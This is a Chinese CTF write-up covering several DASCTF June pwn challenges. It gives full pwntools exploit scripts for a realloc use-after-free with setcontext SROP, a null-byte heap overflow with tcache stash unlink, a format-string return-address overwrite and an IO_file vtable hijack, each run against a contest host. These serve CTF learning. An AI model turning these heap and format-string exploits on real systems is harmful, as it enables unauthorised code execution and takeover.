DASCTF 6月部分pwn wp

感觉质量挺高的,有点昏迷,

Memory-Monster-IV

这个题我是真的服了,恶心了我一天时间,最后还是没出,知道是要改got表,而且每次只能改一个字节,第一次改后变成ret之类的无用函数,我是不想说啥,没复现出来,贴下作者的分析把:
http://taqini.space/2020/06/26/DASCTF-June-Memory-Monster-IV-200pt/
我感觉能学到的东西不太多,至少知识是很简单的,就是你能不能调出来的问题。Orz。

oooooorder

这个题我其实一开始没找到洞,Whali3n51师傅一眼看出来了,Orz,
具体就是realloc函数的洞,当size=0时,heap会free掉,这样就形成了UAF了。知道这个洞,其实就很简单了,个人感觉是第一天内最好做的.
沙盒的话,用到了setcontext里的一段ROP,具体如下图所示
在这里插入图片描述
如图,如果我们能控制了rdi,也就可以控制所有寄存器。这里,我用这段ROP调用read函数,然后输入ORW的rop来读flag

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('oooorder')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./oooorder')

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter("Your choice :\n","1")
		p.sendlineafter("How much is the order?\n",str(size))
		p.sendafter("Order notes:\n",content)
	def edit(index,content):
		p.sendlineafter("Your choice :\n","2")
		p.sendlineafter("Index of order:\n",str(index))
		p.sendafter("Order notes:\n",content)
	def show():
		p.sendlineafter("Your choice :\n","3")
	def free(index):
		p.sendlineafter("Your choice :\n","4")
		p.sendlineafter("Index of order:\n",str(index))

	for i in range(9):
		add(0x100,"x")
	add(0x10,"/bin/sh\x00")
	add(0x10,'x')
	add(0x10,'x')
	for i in range(8):
		free(i)
	add(0,'x')
	add(0,'x')
	show()
	p.recvuntil("[0]:")
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	print "main_arena=",hex(main_arena)
	#--link addr
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=main_arena-(0x7f9cfbb15ca0-0x7f9cfb72a000)
	free_hook=libcbase_addr+libc.symbols["__free_hook"]
	setcontent_addr=libcbase_addr+libc.symbols["setcontext"]
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	open_addr=libcbase_addr+libc.symbols['open']
	read_addr=libcbase_addr+libc.symbols['read']
	puts_addr=libcbase_addr+libc.symbols['puts']


	p.sendlineafter("Your choice :\n","2")
	p.sendlineafter("Index of order:\n","0")
	free(9)
	free(0)
	free(1)
	add(0x10,"\xa0")
	show()
	p.recvuntil("[0]:")
	heap_addr=u64(p.recv(6).ljust(8,"\x00"))

	orw=p64(pop_rdi_ret)+p64(heap_addr-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)		+p64(heap_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(heap_addr)+p64(puts_addr)+"flag\x00"

	#---payload
	frame = SigreturnFrame()
	frame.rdi = 0
	frame.rax = 0
	frame.rsi = heap_addr-0x400
	frame.rcx = heap_addr-0x400
	frame.rdx = 0x2000
	frame.rsp = heap_addr-0x400
	frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret; 
	payload = str(frame)

	free(0)
	free(10)
	free(11)
	add(0x100,orw)
	add(0x10,p64(free_hook))
	add(0x100,payload)
	add(0x10,p64(setcontent_addr+0x35))
	print "heap_addr=",hex(heap_addr)
	#gdb.attach(p)
	free(2)
	p.sendline(orw)
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10028,0)

easyheap

这个题不太想说啥,空字节溢出,我当时做完oooooooorder后做的这个,我当时没做出来,因为我构造好了准备攻击malloc_hook的时候,我才发现尼玛有沙盒!!吐了,真就全员沙盒。这样的话就需要重新分配堆块,使用tcache stash unlink来在free_hook附近加入0x7f头,俗话说一鼓作气再而衰,改需求一向是程序员大敌。当时我衰了,就没在配出来…
借鉴了L.o.W的exp:

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn2')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./pwn2')

	else:
		p = remote(ip,port)
	def add(index,size,content):
		p.sendlineafter("Your Choice: ","1")
		p.sendlineafter("index>> ",str(index))
		p.sendlineafter("size>> ",str(size))
		p.sendafter("name>> ",content)
	def free(index):
		p.sendlineafter("Your Choice: ","2")
		p.sendlineafter("index>> ",str(index))
	def show(index):
		p.sendlineafter("Your Choice: ","3")
		p.sendlineafter("index>> ",str(index))
	def edit(index,content):
		p.sendlineafter("Your Choice: ","4")
		p.sendlineafter("index>> ",str(index))
		p.sendafter("name>> ",content)
		
	for i in range(7):
		add(0, 0x1f0, 'a')
		free(0)
	for i in range(7):
		add(0, 0x160, 'a')
		free(0)
	for i in range(7):
		add(0, 0x80, 'a')
		free(0)
	for i in range(7):
		add(i, 0x68, 'a')
		free(i)
	for i in range(7):
		add(0, 0xa0, 'a')
		free(0)
	for i in range(6):
		add(0, 0x90, 'a')
		free(0)
	add(0, 0x1f8, 'a')
	add(1, 0x1f0, 'a')
	add(0x13, 0x10, 'a')
	free(0)
	add(0, 0xa0, 'a')
	add(2, 0xa0, 'a')
	free(0)
	add(3, 0x98, 'a'*0x90 + p64(0x200))
	free(1)
	add(0, 0x160, 'a')
	show(3)
	p.recv(16)
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=main_arena-(0x7f6c63123ca0-0x7f6c62d38000)
	free_hook=libcbase_addr+libc.symbols["__free_hook"]
	open_addr=libcbase_addr+libc.symbols["open"]
	read_addr=libcbase_addr+libc.symbols["read"]
	puts_addr=libcbase_addr+libc.symbols["puts"]
	setcontext=libcbase_addr+libc.symbols['setcontext']
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	print "main_arena=",hex(main_arena)

	add(1, 0x88, 'a')
	free(0x13)
	add(0x13, 0x1f0, 'a')

	add(4, 0x1f8, 'a')
	add(5, 0x10, 'a')
	free(4)
	add(4, 0x150, 'a')
	add(6, 0x150, 'a')

	free(0)
	free(1)
	add(0, 0x150, 'a')
	add(1, 0x150, 'a') 
	show(3)
	smallbin_fd = u64(p.recv(8))


	add(7, 0x1f8, 'a')
	add(8, 0x1f0, 'a')
	add(9, 0x1f0, 'a')
	free(7)
	add(7, 0xa0, 'a')
	add(10, 0xd0, 'a')
	add(11, 0x68, 'a')
	free(7)
	free(11)
	add(11, 0x68, 'a'*0x60+p64(0x200))
	free(8)
	add(7, 0x180, 'a')
	add(8, 0x68, 'a')
	
	frame = SigreturnFrame()
	frame.rdi = 0
	frame.rax = 0
	frame.rsi = smallbin_fd-0x400
	frame.rcx = smallbin_fd-0x400
	frame.rdx = 0x2000
	frame.rsp = smallbin_fd-0x400
	frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret; 
	payload = str(frame)
	add(12, 0x1f0, payload)
	free(8)

	payload = p64(smallbin_fd)+ p64(free_hook-0x20)
	edit(3, payload)
	add(0x11, 0x98, 'a')
	edit(11, p64(free_hook-0x13))
	add(13, 0x68, 'a')
	payload = 'a'*3 + p64(setcontext+0x35)
	add(14, 0x68, payload)
	gdb.attach(p)
	free(12)
	orw=p64(pop_rdi_ret)+p64(smallbin_fd-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
	orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(smallbin_fd)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(smallbin_fd)+p64(puts_addr)+"flag\x00"
	p.sendline(orw)
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10027,1)

springboard

这个简单,格式化字符串,利用栈空间内指向栈的指针来更改返回地址实现shell。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('springboard')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./springboard')

	else:
		p = remote(ip,port)
	p.sendlineafter("input your name:","%11$p")
	p.recvuntil("0x")
	libc_addr=int(p.recv(12),16)-231
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=libc_addr-libc.symbols["__libc_start_main"]
	system_addr=libcbase_addr+libc.symbols["system"]
	binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	one_ge=[0x4f2c5,0x4f322,0x10a38c]
	shell_addr=libcbase_addr+one_ge[2]
	syscall_2_4=int(str(hex(shell_addr))[6:10],16)
	syscall_0_2=int(str(hex(shell_addr))[10:14],16)
	p.sendlineafter("input your name:","%13$p") #---1
	p.recvuntil("0x")
	stack_addr=int(p.recv(12)[8:12],16)-0xe0
	payload="%"+str(stack_addr)+"c%13$hn"
	p.sendlineafter("input your name:",payload)#----2
	payload="%"+str(syscall_0_2)+"c%39$hn"
	p.sendlineafter("input your name:",payload)#----3

	payload="%"+str(stack_addr+2)+"c%13$hn"
	p.sendlineafter("input your name:",payload)#----4
	payload="%"+str(syscall_2_4)+"c%39$hn"
	p.sendlineafter("input your name:",payload)#----5
	#gdb.attach(p,"b *$rebase(0x0956)")
	p.sendlineafter("input your name:","a"*0x20)#----6
	p.sendlineafter("input your name:","a"*0x20)#----7

	
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10029,0)

secret

更改IO_file的vtable,当时我看的时候走了弯路,我想的是利用libc空间的stack指针来更改stack的返回地址,不过由于是修改两个字节,导致概率变低,如果是修改一个字节,概率是1/16,但修改两个字节就是1/16^3,我恐怕爆破到比赛结束也把太行。更改vtable面临的问题就是如何去绕过libc.2.29对vtable的检测, 这里有更改的是IO_stderr,更改其vatble_IO_str_jumps
然后修改_IO_str_jumps的指针为one_gadget就可以了。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('secret')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./secret')

	else:
		p = remote(ip,port)
	#gdb.attach(p)
	p.recvuntil("secret:0x")
	printf_addr=int(p.recv(12),16)
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=printf_addr-libc.symbols["printf"]
	stderr_addr=libcbase_addr+(0x7fbe49c97758-0x7fbe49ab2000)
	p.sendafter("addr:\n",p64(stderr_addr))
	print "stderr_addr=",hex(stderr_addr)
	fake_std=int(str(hex(stderr_addr))[10:14],16)+0xec8
	p.send(p16(fake_std))
	one_ge=[0xe237f,0xe2383,0xe2386,0x106ef8]
	p.send(p64(0)*2+p64(libcbase_addr+one_ge[2]))
	p.sendline("cat flag >& 0")
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10030,1)

写在最后

第一天跟Memory-Monster-IV杠上了,谁也没服谁,结果就是我输了,heap题其实都不太难,只不过麻烦一点,剩下没复现的俩题应该也都是堆,当时也没怎么细看,就暂时不复现了,后天期末了,老子不学了!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43116977/article/details/106980565